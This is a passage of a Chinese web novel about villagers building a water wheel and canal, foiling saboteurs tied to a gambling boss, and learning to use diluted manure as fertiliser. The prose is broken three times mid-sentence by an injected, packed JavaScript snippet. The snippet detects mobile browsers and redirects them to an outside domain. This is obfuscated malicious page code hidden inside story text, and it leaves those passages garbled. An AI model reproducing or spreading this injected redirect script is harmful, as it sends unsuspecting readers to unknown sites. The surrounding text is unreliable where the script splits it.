“当家的,你说这事靠谱么,咱们家出人不?”一户人家里面传出了女人说话的声音。 “管它靠不靠谱呢!反正也就是费点力气的事。” “现在这时节倒是没有什么事儿要忙。只是……”那声音带着一点犹豫。 “哎呀,这事你不用管了。到时候我带二小子一起去。就干几天力气活的事儿,那玩意儿好整。再说了,村长不是说了吗?谁家要是不出力就不许用水渠去浇地。真哪天我们想用水渠浇地了,你还能厚着脸皮去放水吗?莫不如现在跟着大家伙一起干,到时候也不用再废话。” “那好吧,明天我再给你们爷俩多烙两张饼。” “嗯,行,就这么说定了。明儿你早点喊我起来。”男人吹灭了油灯,屋里安静下来。 村东头王麻子的家里,几个村里的刺头聚在一起商量事,屋里黑漆漆的没有点油灯,月光照在他们缩在墙角的身影上,显得有几分猥琐。 “王麻子你说。这秦娘子研究出的这叫什么事儿?这不是坏我们生意吗?” 这几个人都是村里的闲汉,成天游手好闲,没有个正经营生。偏偏把主意打在了村里的孤寡老人身上。 老人们腿脚不便,家里又没人照顾,挑水浇地成了难事。他们就逮到这个空子。拎着水桶挨家挨户“帮忙”。放下一桶水就伸手要钱,一开口就是一桶水一个铜板,比镇上的挑水工还要贵上一倍。 这些老人大多无依无靠,旁的人看见他们这样怕他们闹事也不敢吱声,只能眼睁睁的看着他们以“帮衬”的由头把黑心钱揣到自己的口袋里。 现在秦娘子弄出来的水车,水渠一放就能浇地,再也不用打水了,这不就让他们的黑心生意彻底泡了汤。 王麻子低沉着眼睛不说话,旁边的人着急的扭了扭他的胳膊,“你倒是想想办法啊,我们难道就这样干杵着?” 王麻子把胳膊抽了回来,“我有什么办法?上次我骗李金生的事儿,被他大哥知道,给我堵在道上好一顿骂。还说下回在找李金生,看见我一次就打我一次,我现在见着他们家人,都绕道走。” “那也不能就让他们这样把我们的生意毁了呀,不做生意,我们吃什么喝什么?”他锤了一下床,“听说村长发话,村里那几个孤寡家里都不用出人挖渠,他们地里的水渠村里都找人包了! “你问我,我有什么好办法?我都不知道找谁说去。”王麻子用手捂住了脸。 之前他没有完成乔三爷交给他的任务,没有把李金生骗回小渔村赌场,乔三爷已经很不高兴了。这这次秦娘子又研究了水车,给全村人浇地,这是要断他全部的财路啊。 “麻三儿。”一个尖细的声音透着分不怀好意,“我们只要让他那个水车转不起来,这挖水渠浇地的事儿就黄了,以后咱们是不是还能继续做那送水生意?” “你说的倒简单,你没看村长特意派了两个人去看守,要不是这样,我早就去把那个水车弄坏了。” “你说这村长也是,就那么个破玩意儿,还派人看着。”尖细声音有些懊恼。 “要不这样,明天晚上我想个办法把看守的人给骗出来。你跟魏猴子他们就动手。” “明天晚上不行,你还是等沟渠都挖出来再说。你明天晚上弄坏了,回头他后天修好了,不还是一样吗?” “你等水渠挖出来放水的前一天把那个水车破坏。到时候水放不出来,大家累了许多天,还没成事,就没人相信她了。所有人一骂她,她还能去修么!到时候村长也不能帮她说话了。”王麻子的笃定的说 “你这主意够好,那这事就这么说定了。那明儿我们挖渠去不去呀!” “去,干啥不去,不去的话你知道啥时候能挖好?”王麻子拍了下大腿肯定的说。 屋里的身影晃了晃,说话声也逐渐停了下来,就听着窗外“哗啦”一声响。 “谁!”王麻子的声音瞬间警惕起来,他连忙推开门出去看。 门外一个人也没有,就听见风把树叶卷起沙沙的响。 “没人啊?王哥,我看这是风吹的吧。”魏猴子从后面跟出来看了看。 “有点大惊小怪了,不过咱们谨慎点也没毛病!”王麻子的声音带着不耐烦,“走,跟我回屋,咱们再把细节好好敲定一下。” 门“砰”的一声关上了,屋里说话声又低低的响起来,只不过这次声音更轻了。 李家村这几天热闹得很,天刚蒙蒙亮,村里西边的地里就挤满了人。到处都能听见锄头、稿子“叮叮当当”挖地的声响。 村里的青壮几乎都来了,有的人家不止来了两个人。大伙儿挽着袖子干得非常认真,额头上的汗珠子淌下来都来不及擦,却没有一个人喊累。 “等着水渠挖通了浇地的事儿就不愁了。再不用一担一担挑水了” “可不是吗?这要是把地给浇透了,今年还不得多打几担粮。” “这秦娘子还真给大家伙儿做了几件好事。她变化还真挺大的。” 李长贵坐在河岸边,手里捏着根粗树枝,在地上画着村里的田地分布的情况。秦嘉言和顾毅蹲在他身旁,三个人一起商量从哪个地方挖?哪个地方得避开? “这边的走向指定没问题,这水渠得挖的深一些,里面多铺上一些小石子。将来放水的时候,水就不会流到哪都是。”秦嘉言指了指李长贵画的图,“只是这边的坡地,我觉得一个水车不够,应该在放两个,这样水才能上去。” 李长贵点点头,“那水车的事儿就得麻烦你们和柴师傅了……钱的话我想办法从村里出......”他还没说完话,就被一个声音打断了,“村长,你忙么?我有点事和你说……” 李家村做水车、挖水渠的事没几天就传到了镇上。这天晌午刚过,村口突然来了架马车,车帘子一掀,下来一个穿着青色官服的中年人,身后还跟着两个差役,有人上前一打听,竟是县太爷贾胥亲自来了。 村长吓得脸都发白了,手在衣襟上蹭了又蹭,脚步发软地迎上去,说话都带着颤音:“大、大人,您怎么亲自来了?快、快屋里坐……我这就让老婆子沏茶去。” 县太爷贾胥摆了摆手,目光落在田埂上热火朝天的景象,眉头舒展着:“这位老人家,您不必客气,我就是过来看看你们这水车。听说你们研究的这东西,能够引水?还有人说要是把水渠都挖好了能多浇几十亩地?” “是、是!”李长贵赶紧点头,把手往水车上面指,“大人您请看,这就是我们村秦娘子和她表弟顾毅,还有我们村的柴师傅研究出来的水车!” 那水车就竖立在河边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945490|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有两人高,水车的横轴上,装上了两个个竖着的齿轮,旁边立着个粗木棍,人在上面踩踏时,两个齿轮就会带动水车转动,把水提上高处。 他躬着身子把县太爷引到踏板旁边,“大人,这里的踏板,只要轻轻踩几下,水就会从河道里流进田埂间。” “还有这水渠,我们把村里的田地都安排好了,正好能绕这村里一圈,这些水也能分到东边和西边的田里。这些都是他们几个研究出来的,我们在一块看了几天,算得准着呢!” 贾胥顺着他指的方向看了半晌,又问了几句水车的做法,水渠挖多深、怎么防渗漏的细节,听村长说得头头是道,忍不住点了点头:“做得好,是真为百姓办事的样子。”说完他踩着皂靴深一脚浅一脚往河边走,想要亲自去试试那水车。 “大人,可使不得啊!”旁边的衙役急忙想要拦住他,“您可是朝廷命官,怎么能做这样的活?还是我们来吧!” 贾胥摆摆手,撩起官服下摆塞进腰间,露出里面靛青中衣,一个用力就跳到了踏板上。他踩着踏板试了试,没用多大力气,水车就“咯吱咯吱”的转了起来。 村民们从田地间走了出来,看见县太爷踩着水车,都惊讶的张大了嘴,有几个孩童拍着手喊:“出水啦!出水啦!” “好!好!”贾胥下来后仰天大笑,他转头看向站在一旁的顾毅,这后生穿着洗得发白的粗布衣裳,脊背挺得笔直,眼神清亮,倒不像个普通农户。 “你就是顾毅?”贾胥温声问。 顾毅拱手行了个礼:“是,学生顾毅给大人行礼了。” “我听说了,这水车是你们几个研究的?”他笑了笑,“不错,年纪轻轻就有这份心。我还听说你是童生,下半年要去考秀才?” 顾毅脸微红,应了声“是”。 贾胥拍了拍他的肩膀,力道不轻不重:“好。我看你是个准成人,又肯为乡亲们着想,将来定有大出息。这水车的事,我回去就给你记一功。往后若是其他村子也需要水车,你就帮忙弄一下,缺啥少啥尽管说,银子的事不用愁,官府会拨下来。” 他顿了顿,目光沉了沉:“顾毅啊,读书是为了明事理,考功名是为了能替百姓做更多事。将来你当了官,别忘了今天站在这田埂上的滋味,更别忘了这些盼着多打粮食的乡亲,守住这份初心,比什么都重要。” 顾毅听得心头一热,用力点了点头:“是,学生记下了。” 县太爷走后,村里的干劲更足了。中午太阳毒,他们就天不亮起身,日头最烈时歇两个个时辰,傍晚接着干到月亮上来。 挥锄头挥得肩膀生疼,手掌磨出了血泡,却没人叫苦,夜里躺在炕上,闭眼之前,都在盼着水渠通水的那天。 没用上七天,当最后一铁锹土被铲开,水车一转,河里的水“哗啦啦”顺着新挖的水渠流进来,沿着田埂分向各家的田地时,村里爆发出一片欢呼。 男人们把锄头、铁锹都丢在一边,直接跳下水渠,女人们在岸边抹着笑出来的眼泪,秦嘉言站在水渠边,看着清水漫过的土地,心里也跟着舒坦起来。 大家正高兴,李长贵走过来磕了磕烟袋,严肃的说:“都别乐了!”他把烟袋往地上一丢,把正高兴的人说的都停了嘴,连小孩子都怯生生的看着他。 “有件事,我必须跟村里所有人说!” 20. 第 20 章 李长贵阴沉着脸,把手向后挥了一下,村里的胡屠夫接到他的信号,一手拎着一个缝着补丁的大麻袋走过来,狠狠的摔在地上。 麻袋刚落地的瞬间,就听见里面发出“呜呜呜”的声音,吓得旁边看着热闹的男女老少都往后退了一步。 “这,这麻袋里装的是什么?还能出声?” “我听那声音应该是个人吧。怎么了这是,咋被装麻袋里面了?” “这,村长是怎么了?今天这么好的日子,他怎么发了这么大的火?” “可不是么你看他那脸沉的。” “大家都静一下。”李长贵用脚狠狠的踹了一下两个大麻袋,恨恨的指着,“胡屠夫你把这两个口袋打开给大伙看看。” 胡屠夫立刻蹲下身将绳子往回绕了两圈儿,把麻袋松开。两个人头从麻袋口探出来,居然是村里的王麻子和魏猴子。 李长贵拿锄头指着这二人:“昨天晚上,这两个人鬼鬼祟祟把看守水车的人支走,想要破坏好不容易弄出来的水车!得亏我提前知道这事儿,安排好了人手,在他们要破坏的时候,将他们两个拿下。” “我没有,我没有!”王麻子睁大了眼睛狡辩,“我就是想过去看看水车是啥样的,我就是好奇!再说你看这水车现在不是好好的么!” “你好奇?”李长贵气的不行,把一把锯子和一个砍刀丢在了他们面前,“你好奇会带着锯子和砍刀在那边上等着?” 他往前跨了半步,右手食指几乎戳到王麻子的鼻尖上,“你好奇?你好奇会半夜三更鬼鬼祟祟把看水车的人支走?你好奇一会找一大伙人在你家里商量怎么把水车破坏掉?” 李长贵的手指猛地收回去,又重重挥向旁边的水车,“别以为我不知道你们做的那些缺德事!以前不说,是因为村里实在拨不出人手帮助那些老人,村里只能睁一只眼闭一只眼,在年节的时候多给这些人送点银两,现在好不容易秦娘子她们研究出了水车,你们就想费劲心思破坏掉,好再去做你那缺德生意?” 李长贵抬头看着村里人,“这些人都是你的邻居,你的朋友,你的乡亲,你们就这么被猪油蒙了心非要断了大伙的生路。” 王麻子没有再说话,低着头一副死猪不怕开水样的模样。 “今天大家都在这,我把村里的老人也都请过来了,大家说说,我们要怎么处理他们!” “赶出去!把他们赶出去!” “赶出去也不行,得把他们狠狠的揍一顿!” “要我说,应该连他们家里人一起都赶出村子,这样的人留着就是个祸害!” 这时候从人群里钻出了一个老人,大家一看居然是王麻子的父亲王守财。 就在大家都以为王守财会为他求情的时候,却没想到他走上前用力的给了王麻子一个巴掌。 “你说你平时小打小闹的,我已经说过你很多次了,没想到你竟然变本加厉,这次你实在太过分了!你算计的不是别人,而是从小看着你长大的村里人。” 王守财一屁股坐在地上,哭得像个泪人,“我对不起大家伙。养了这么个忤逆混账东西,这些年没少让你们跟着受累,我给大家道歉了。” 李长贵把他扶起来,“我知道这些年你在给所以那些老人们偷偷塞钱,要不然你的日子也不会过得这么穷,这么大岁数了还要给人家浆洗衣服,都是不容易的人啊。” 他抬头看了一眼村里人,“大家不要怪他,这次的事儿能提前发现还得多亏老王头,是他提前告诉我,我们才能有时间布置,不然这水车早就被他们几个破坏了。” 他想了想对着王麻子说:“老王说那天到你家商量事儿的一共三个人。那个人是谁?” 王麻子充满怨毒的眼神看着他,低头不说话。 李长贵拿他没有办法。只好回头看了看秦嘉言。 秦嘉言看了一眼王麻子,“就是你。整天忽悠我们家老二去赌博的吧。” 王麻子看了一眼秦嘉言依旧没有说话。 秦嘉言气的刚想破口大骂,手腕忽然被人轻轻一拉。顾毅从她身后走出来,脸上没什么表情,目光扫过王麻子二人,用下巴点了下他说。“把他们送官吧,看看官府怎么说。咱们的县太爷可是一心支持我么这水车的!” 李长贵冷了脸,“把他们两人拿下!捆起来送族里的破祠堂那押着,明日就送去镇上的官府!” 几个汉子上前把王麻子和魏猴子给绑了,把地上的锯子和锄头也捡起来当证物,只等着明天一起送官。 王麻子这时候才有点害怕了。“我错了,我错了,别抓我去送官,求你们了。” 他跪在地上,三步并两步爬到秦嘉言面前,“我这阵子都没找过李金生了,真的,不信你问问他。” 他又扭头指向水车,“你看这水车我也没有动,现在不是完好无损吗?我下次再也不敢了,你就原谅我这一次吧!” 众人都没有说话,只有村里的几个老人摇摇头抹着眼泪。这些年王麻子在他们身上□□了很多钱,他们别说吃饱饭了,能勉强活着就是不幸中的万幸。要不是秦娘子这次研究出了水车,他们还得继续在王麻子手里拿捏。 王麻子见大伙不说话,一下子恼羞成怒,把怒火都发在王守财身上。“你这个老不死的。居然揭发你自己儿子!你真不怕天打雷劈。” 王守财指着王麻子骂到:“这些年我也算是助纣为虐了!我真后悔没有早一点去揭发你!我要是早一点说就好了,也不至于这么多人受罪这些年!” 村里的那几个壮汉刚要把王麻子押下去,就听到有人慌慌张张的跑过来,一边跑一边喊:“村长隔壁小渔村的乔三爷来了。” 李长贵看着跪在地上的王麻子。“你倒是厉害?连乔三爷也能请得动。” 不一会儿就看到一群人从官道上骑着马过来,为首的就是小渔村大名鼎鼎的乔三爷。 他走到李长贵身边下了马:“长贵叔,这是什么情况?怎么整这么大阵仗?” “哟是乔三爷呀,什么风把你给吹过来了。”李长贵看着乔三爷,敷衍的笑了一下。 “这不是底下的马仔偷懒儿跑回家到现在没有回来,我过来看看怎么回事儿。”他顿了顿,目光在村长和王麻子之间转了转,又假惺惺地说:“这不是我手底下的王麻子吗?怎么跪在地上?还不赶快起来跟我回去。” 李长贵气的说不出话,这个乔三,明显是听到信儿来要人的,恐怕破坏水车的事儿跟他也有关系! 秦嘉言上前一步拦在乔三和王麻子中间:“这人你还带不走!他有意破坏我的东西,我正要捉他去见官。” “破坏你的东西?破坏什么了?拿来我看看。”乔三也有些胡搅蛮缠,用马鞭指着秦嘉言,“我说长贵叔你们村里是没有男人了吗?怎么还要一个女人上来说话?” “女人怎么了?你不是女人生的吗?” 乔三爷脸上挂着笑,眼底却没暖意。“这位娘子你怕是不知道道上的规矩吧?打狗还得看主人,这厮犯了什么错,自有我回去收拾他!” 他拿马鞭弹了弹身上的灰,“就看娘子给不给我这个薄面了。”朝后面的老鼠脸挥了挥手,“把他人给我扶起来。” 两个人刚要上前,顾毅向前一步侧身挡住了他们,“乔三爷您这话说的不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975664|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您的面子我们一定会卖。但是这几个人犯了错,按律应送到官府查办的。” 乔山的笑淡了些,转动了一下手上的马鞭。“你又是哪根葱?敢在这拦爷的路?我告诉你,今天这人我必须带走,谁敢拦一个试试!” 他指了指李长贵,“他们不懂你也不知道吗?这王麻子经常替我跑腿给总兵府内眷送信儿。前几日董夫人还夸他机灵,若是今日让你们送了官,到显得像我不会管人似的,让总兵大人的面上也不好看。” 他特意加重了“总兵府”三个字。他的目光扫过秦嘉言。“你看你的东西也没有真被破坏。这件事你卖我个面子,改日娘子若有需要,乔某自当效力。” 秦嘉言转得指尖发白,他知道乔三爷说的总兵府内卷是谁?是总兵的小舅子郭宜。平时他就仗着姐夫的势力,在镇上横行,乔三能把赌场开得如此安稳,靠的就是这层关系。 乔三爷看他不语,朝身边的两个人使了个眼色,两人立刻越过顾毅,把王麻子架起来。 “乔三!”秦嘉言突然开口,“今天人我可以让你带走,但他日后若再犯是,我定不饶他!” 乔三笑了笑没接话,只领着人转身骑马离开了李家村。 李长贵叹了一口气拍了拍顾毅的肩膀:“唉,没想到是这种结果。人给他们就算了,希望他们以后不会再找别的麻烦。”顾毅没有说话,看着那些人离去的方向攥紧了拳头。 水车造好了、水渠也挖好了。秦嘉言闲了下来,这些天经常跟儿媳妇们去出摊儿。 由于他们的卤煮火烧味道独特、好吃量大,镇上的人还没等他们出摊儿就把队伍排了起来。 顾毅隔三差五也跟着他们去镇上买一些水车要用的材料。 现在不光是李家村,就连隔壁的村子里都找顾毅和柴木匠定制水车。贾胥回去后真如他说的那样,大手一挥一个村子都拨付了两架水车,并把银子都提前结给了顾毅和柴木匠。 柴木匠的媳妇这回看见他们可不再冷脸,恨不得将他们当菩萨一样供起来。 柴木匠也趁这次机会多收了两个徒弟。听县太爷的意思,周边的县城也想派人来学习这水车的做法,这是造福百姓的物件,让他们别私藏,有人来学就好好的教。 这天他们没到晌午就把东西卖完了,正坐着租的骡车往回走。 刚到村口就被人拦了下来。“大嫂!”秦嘉言抬眼一看,拦车的人是居然李二柱。在原主的记忆中,这些年她家并没有跟李二柱走得特别亲密,分家以后都是各过各的,从来没有交集 他站在路中央,晒得黝黑的脸泛着一丝红晕,看起来像是等了很久。 “怎么了?有事?”秦嘉言跳下骡车走到他身边。 李二柱有点不好意思,“大嫂,我想问你点事。” 秦嘉言抬抬下巴示意他有话快说,不是她自持骄傲,而是真的对这个名义上的小叔子没什么好感。 之前原主丈夫去世前,没少给他家送粮食送菜,李大柱一死,还没过头七,他就带着李大柱的亲娘来要房子。 那时候他们孤儿寡母的,也没有什么营生,吃饭都成问题,孩子们的奶奶和二叔就像饿狼一样盯着她们不放。 还是原主比较泼辣,一狠心解开了裤腰带,挂在院子里的老槐树上,回头就去厨房取了一把菜刀,拿在手里,大喊着告诉他们母子,要么赶紧滚蛋,要么她把他们都砍死,自己在直接挂死在老槐树上。 那老婆子连个屁都没敢放,灰溜溜的走了。李二柱倒是又闹了两出,让她拿菜刀给赶走了。 现在,他又舔着脸来问?怕不是又有什么幺蛾子才是吧! 21. 第 21 章 李二柱搓了搓手往前一步,“那个大嫂,最近生意挺红火啊,我看你家这几个儿媳妇儿天天出摊,挺勤快的,你这阵子可赚了不少吧?” 秦嘉言白了他一眼,“关你啥事?有话说,有屁放!别在那拐弯抹角的,咱俩的情分没到那份儿。” 李二柱见秦嘉言不怎么想理他,就赶紧上前把来意说明,“放心,我不是来要钱的!就是前一阵我看见你让闻生他们下去用粪水浇地,这里头有啥说法没?” 他挠了挠挠头讪笑到:“这几天我顺巧路过你家那几亩庄稼地,你家施粪水的那几块长得明显比其他家要好很多。” 还顺巧路过?他怕不是天天盯着她家田里、不错眼珠子的看着每一个庄稼苗吧!这粪水才施下去多久?就算是有效果,也不会这么快吧。 秦嘉言笑了一下,反正她也打算把粪水施肥的方法教给村里人,就无所谓告不告诉他了。 “之前我也是看到沾上鸡粪的菜长得比其他的菜长的大,品质也要好很多,我才想出的这个主意。也不知道好不好使就瞎弄弄,我合计要是好使了今年秋收就跟村长说一下让大伙来年春天就按照这个方法种地,也能都增加点收成么!” 李二柱有点着急,“你这里面就没放其他东西,我觉得不能这么简单吧!” 秦嘉言耸耸肩,回答:“就放点鸡粪,猪粪和一些厨房生活垃圾,还放了一些土,怎么了?有什么不对吗?” “那不对呀。”李二柱明显有些懊恼,“大嫂,我实话跟你说了吧,那天我看见李闻生他们挑粪后,回去也看了一眼自己家的鸡圈外附近的菜。那里确实长得比其他地方好,我就把鸡粪全都扫出来丢在田里。但这几日到地里一瞧,你看这也不对啊!” 秦嘉言这才看清他手里握着一株玉米杆,那叶片的边缘有些发黄,根部已经严重脱水、萎蔫,明显是粪水浇多烧苗了。 她连忙问:“你这是放了多少粪水啊?加水稀释了么?” 李二柱用手蹭了蹭鼻子,“我把家里的鸡粪都挑出来了,集中都洒在一亩地里了,我这也是想先拿一块地试试,得亏没都洒上,要不然今年我就完了!” “这个你得拿水稀释了在用啊!哪能施这么多。”秦嘉言回头跟儿媳妇们说了声,让她们先回去处理下水,她先去李二柱家地里看看。顾毅从车上下来,也想要跟过去,秦嘉言点点头同意了。 李二柱若有所思的看着顾毅,听说他是秦嘉言娘家表弟?他怎么不知道他大嫂娘家亲戚有姓顾的?不会是大嫂养的小白脸吧! 他把人领到了他洒过鸡粪的地里,整片地的庄稼都和他手里拿的这株一样,叶片发黄,蔫蔫的耷拉着。 秦嘉言看到这情形,也跟着着急起来,“你赶紧把之前洒的粪水都铲掉,然后赶紧开渠放水,还好现在研究出水车、水渠,要不我都不知道你这块地得怎么救!” 李二柱有点犹犹豫豫的问:“这样,能有用吗?” 秦嘉言指着田里的庄稼道:“有没有用的,只能死马当活马医了,要是不处理好,这块地的庄稼都得烧死,一颗不留!” 李二柱一听到这顺时慌了神:“这,这怎么会这样?我可是跟着你家老大学的啊!你得帮帮我啊!” 秦嘉言没好气的白了他一眼,“能不能不要碰瓷?你有问过李闻生吗?你光看他挑鸡粪,你看到他兑水了么?你还洒了这么多,真是人心不足蛇吞象!” 她把手里的秧苗丢在地上,“反正你就按我说的做,能不能行就看天意了,听不听也随便你!” 顾毅拍了拍膝盖跳下了田埂,“等下,让我看一看。”他拿了几个秧苗仔细的看了几眼。 “这种叶子发黄的情况我以前也见过。”他拔下来一个玉米杆放在李二柱手里,“你看,这苗的根还是比较粗壮就是比较干,说明你之前施的鸡粪还是有点用处的,应该就像秦娘子说的那样,你施的太多了!” 他用指甲掐了一下根须,果然,干的一点水份都没有。 李二柱看了一眼,头耷拉下来,“我也就是合计这玩意肯定是越多越好,谁知道能这样?这一亩地不会就此荒废了吧!” “你就先按照她说的办法试试,给之前浇的粪水都弄掉,最好在找一些东西,把这些秧苗遮挡一下,尽量不让这些秧苗直接晒到太阳。” 李二柱连忙点点头,仔细的把他说的办法都记好,“行,我这就回去取东西,把这块地都挡上!”说完他丢下秦嘉言和顾毅就往家跑去。 顾毅看着他着急的样子无奈的摇摇头,“秦娘子,你们要不要去你家地里看一看?我想看看之前上的粪水的效果。” “行啊,正好这段时间一直忙,我还没去看看呢!”秦嘉言拉着顾毅往自家地里走。 “你看,真像李二柱说的那样,这片地的庄稼长的比别的地要好。”她蹲下身扒开自家玉米的根须,黑黝黝的泥土带着点湿润的潮气,“我就说上回那粪水没白浇,这根都比旁边的壮实。” 顾毅顺着她指的方向望过去,果然,她家旁边半亩地的玉米杆子窜得比邻家的高出一截,叶子也绿得发亮,风一吹沙沙响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018309|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看起来就非常壮实。 顾毅点点头,又看了看玉米杆,用手掰下一根,仔细的瞧了瞧。 正说着,隔壁地里探出了一个脑袋。眯着眼睛往这边望了望。“呦!是秦娘子和顾毅啊!”那个身影一看到秦嘉言就立刻丢掉锄头跑过来,“我正好想找你,你家这地咋伺候的?比我家的地可好太多了,一个天上一个地下!” 秦嘉言直起身一看,是村里的一个平时不怎么走动的大婶,连忙笑着摆摆手,“没怎么伺候,就是之前我不是让闻生他们挑粪水浇地么,应该就是那些粪水起了作用。” “是吗?就这么简单?那玩意我家多得是,我今儿下午就去挑一担子过来试试。”那人说完就要往家跑。 秦嘉言连忙拽住他,“你先别着急,我还没有说完呢!”她指了指自己家的玉米地,“粪水这东西也不能乱用,用不好会烧苗的!” “这粪水一定要多兑些水才能浇,最好上面在盖一些细土,你得记着,这东西不能贪多,多了就会烧根,得按比例稀释,一勺粪十勺水,浇的时候顺着根边慢慢渗。”她边说边比划,把兑水的比例和浇地的时间细细讲了一遍。 那大婶拍了拍腿,“哎呦,没想到这里面还有这么多讲究。” “可不是么。”秦嘉言把手里的玉米杆拿她看,“但是你看,这效果也是杠杠的,你就瞅这芯子,将来这一杆子保准能接四个棒子!” 大婶挠了挠头,心想:平时年头好,这玉米也就能接两个棒子,这接四个,可是翻了一倍啊! 她连忙拽住秦嘉言的袖子,生怕她跑了似的,“秦娘子,你行行好教一教我,你婶我年纪大了,你说的那个什么比例啥的我也听不懂,你给我弄一下呗!” 顾毅眉头微蹙,不动声色的走过来,隔在她俩中间。“嘉言。”他脸上挂着笑,眼神却扫过刚凑过来想问施粪细节的大婶。 “你不如直接把这个办法交给村长,让他集中告诉大家伙,回头谁愿意试,就让闻生集中教一下。不然这个问你一下,那个问你一下,你哪有那么多时间一一去教?” 他又小心的凑到秦嘉言耳边,“你把这件事交给村里,谁愿意学就是他们自己的事了,村里人心眼杂,回头种不好倒怪你方法不对,何必惹麻烦?” 顾毅温热的气息扫到她耳边,秦嘉言耳尖腾地红了,连带着脖子都泛起热意,她偷偷瞟了眼顾毅带笑的眼睛,离得那么近,他是故意的吧? 她捂了捂通红的耳朵,往后退了一步,“行啊,就按你说的办,咱们一会就去村长家!” 22. 第 22 章 村长一看到秦嘉言真是又爱又恨,“你咋又来了?又有什么事了?” “瞧你说的,啥叫又来了,跟你多不待见我似的。”秦嘉言眼睛亮闪闪的,“我这一阵子研究出个肥料,能让庄稼产量提高,这不想着告诉大家伙一声。” 李长贵狠狠的抽了一口烟袋,“就你家那几个儿子头几天挑的粪吧?我都听说了,我说秦娘子有你那么作贱儿子的么?” 秦嘉言领着顾毅坐在他家炕头,抓起一把花生就放在顾毅掌心里,自己也抓了一把拨开皮,一个一个的丢在嘴里。“你懂啥,要不你跟我去地里看看就知道了,别以后看我们家粮食打的多,在说我不告诉你。 李长贵想了想下了炕,在不把这个“自来熟”弄走,他今晚的下酒菜都没了,“走,领我去看看去是不是真像你吹的那样” 秦嘉言也没客气,蹦下了炕,又抓了两把花生踹进自己的口袋里,看的李长贵心疼的直抽抽。 到了地里,李长贵的指尖拂过玉米叶子,又掰开一株仔细瞅了瞅,“还别说,你家的玉米是比别人家长的好。你看这芽,我估计这根杆子上最少得结六个!” 他又蹲下身扒开根部的土,"再看这根,扎得可真够深的。"他直起身拍了拍身上的泥,“这玉米秸秆硬挺,叶片没半点黄叶,这才是正经长庄稼的样子!” 秦嘉言笑着说:"粪肥时得讲究法子,不是直接浇上去就行的。的兑水,一瓢粪十瓢水,还得勤着点搅拌。浇的时候也不能碰庄稼上,得浇到秧苗边上,不过这也是我这一阵总结的法子,我不知道最后会咋样。" 李长贵肯定的到:“肯定行,你看现在这庄稼的长势,就已经落出往年一大截了,何况今年还有水车!这地能浇的透透的,今年这粮食,你家得多打好几担了!” 秦嘉言笑嘻嘻的拍了拍手,“我也是看成功了,才合计跟村里人捣鼓捣鼓捣不能就我们一家好,大家伙都好才是真的好。” 李长贵连连点头向她举起了大拇指,“我这回去就跟村里人说,回头还得麻烦你给仔细讲一下。” 秦嘉言沉思片刻,“这样吧,你跟他们说,往后十五天,谁想学堆肥,就去我家找李闻生,这些粪水都是他带着弟弟们施的,这些门道都摸透了。" 她话锋一转,眉头皱起来,"但我丑话说在前头,学不学全看自愿。这堆肥得按规矩来,要是自己贪心,水兑的不够多,到时候苗枯了、棒子瘪了,可不许怨到我头上!" 李长贵连忙说:“这没问题,谁家愿意学,学不学会是他们自己的事,要是谁敢拿这件事和你闹,我就……我就把他们都赶出村子。不过,趁你今天有空,就先到我家去看看呗?” 秦嘉言:“......”不亏是做村长的人!这脸皮比城墙都厚了! 李家这些天非常热闹,门口大槐树上的鸟都好奇的看着底下攒动的人群,想跟李闻生学习推肥的人站满了一院子。 李家的肥料都不够用了,李闻生把村里人都带到秦嘉言让他们哥几个挖的大坑。 还没走到边上,周围的人就赶忙捂住了鼻子,一个大娘尖叫起来:“李闻生,这,这也太难闻了!这是厕所吧!你咋把我们领这来了!” 李闻生笑笑,拿着铁锹对着那个大坑,“你说的没错,这是我娘让特意做的,你可不懂,这可是好东西!”说完他站在粪坑边,拿厕所旁边的长粪勺挖了一大勺子粪水上来。 旁边的人赶紧退后一大步,这也太臭了,一个婶子扶着旁边的大树吐了出来。 李闻生见状也没有停,直接把粪舀到了一个木桶里面。“我娘说,这粪水过了冬天就能直接用,不过现在不行,现在用回烧根,必须多兑一些水。” 他让李水生把水桶拎过来,倒在他刚才放进粪水的木桶里,又用铁锹从旁边的田埂里面挖了一些土上来。 “你们看,这步最关键。”他擦擦额头上的汗,“旁边的人凑到他身边仔细看,这会儿也不嫌臭了,生怕会错过哪个步骤。尤其是李二柱,仗着是李闻生的二叔,直接挤到他身边。 “这土块,要用铁锹或者锄头,拍碎,一定碎的看起来像沙土一样才行。”他把土块用力的砸碎,又筛了几遍,用手捧着给众人看,“你们看,就到这种程度,要一点结块的地方都没有,在把这土放进刚才的粪水中,边抓边搅拌们不 